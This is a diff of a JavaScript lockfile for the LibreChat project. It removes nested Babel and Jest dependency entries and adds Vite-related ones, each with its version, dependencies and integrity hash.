- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
-
- "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="],
-
- "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
-
- "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="],
-
- "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
-
- "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="],
-
- "@librechat/frontend/@babel/preset-env/core-js-compat/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
-
- "@librechat/frontend/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "@librechat/frontend/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "@librechat/frontend/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
"@librechat/frontend/@testing-library/jest-dom/chalk/supports-color/has-flag": ["has-flag@4.0.0", "", {}, "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="],
- "@librechat/frontend/jest-environment-jsdom/@jest/types/@jest/schemas/@sinclair/typebox": ["@sinclair/typebox@0.27.8", "", {}, "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA=="],
+ "@vitejs/plugin-react/@babel/core/@babel/helper-compilation-targets/browserslist/caniuse-lite": ["caniuse-lite@1.0.30001777", "", {}, "sha512-tmN+fJxroPndC74efCdp12j+0rk0RHwV5Jwa1zWaFVyw2ZxAuPeG8ZgWC3Wz7uSjT3qMRQ5XHZ4COgQmsCMJAQ=="],
- "@librechat/frontend/jest-environment-jsdom/jsdom/cssstyle/cssom": ["cssom@0.3.8", "", {}, "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg=="],
+ "@vitejs/plugin-react/@babel/core/@babel/helper-compilation-targets/browserslist/electron-to-chromium": ["electron-to-chromium@1.5.307", "", {}, "sha512-5z3uFKBWjiNR44nFcYdkcXjKMbg5KXNdciu7mhTPo9tB7NbqSNP2sSnGR+fqknZSCwKkBN+oxiiajWs4dT6ORg=="],
- "@librechat/frontend/jest-environment-jsdom/jsdom/http-proxy-agent/agent-base": ["agent-base@6.0.2", "", { "dependencies": { "debug": "4" } }, "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ=="],
+ "@vitejs/plugin-react/@babel/core/@babel/helper-compilation-targets/browserslist/update-browserslist-db": ["update-browserslist-db@1.2.3", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": { "update-browserslist-db": "cli.js" } }, "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w=="],
- "@librechat/frontend/jest-environment-jsdom/jsdom/https-proxy-agent/agent-base": ["agent-base@6.0.2", "", { "dependencies": { "debug": "4" } }, "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/tough-cookie/punycode": ["punycode@2.3.1", "", {}, "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/tough-cookie/universalify": ["universalify@0.2.0", "", {}, "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/whatwg-url/tr46": ["tr46@3.0.0", "", { "dependencies": { "punycode": "^2.1.1" } }, "sha512-l7FvfAHlcmulp8kr+flpQZmVwtu7nfRV7NZujtN0OqES8EL4O4e0qqzL0DC5gAvx/ZC/9lk6rhcUwYvkBnBnYA=="],
+ "@vitejs/plugin-react/@babel/core/@babel/helper-compilation-targets/lru-cache/yallist": ["yallist@3.1.1", "", {}, "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g=="],
"expect/jest-message-util/@jest/types/@jest/schemas/@sinclair/typebox": ["@sinclair/typebox@0.27.8", "", {}, "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA=="],
+ "expect/jest-util/@jest/types/@jest/schemas/@sinclair/typebox": ["@sinclair/typebox@0.27.8", "", {}, "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA=="],
+
"express-static-gzip/serve-static/send/debug/ms": ["ms@2.0.0", "", {}, "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="],
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator/@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.28.3", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.3", "@babel/types": "^7.28.2" } }, "sha512-zdf983tNfLZFletc0RRXYrHrucBEg95NIFMkn6K9dbeMYnsgHaSBGcQqdsCSStG2PYwRre0Qc2NNSCXbG+xc6g=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator/@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.28.3", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.3", "@babel/types": "^7.28.2" } }, "sha512-zdf983tNfLZFletc0RRXYrHrucBEg95NIFMkn6K9dbeMYnsgHaSBGcQqdsCSStG2PYwRre0Qc2NNSCXbG+xc6g=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
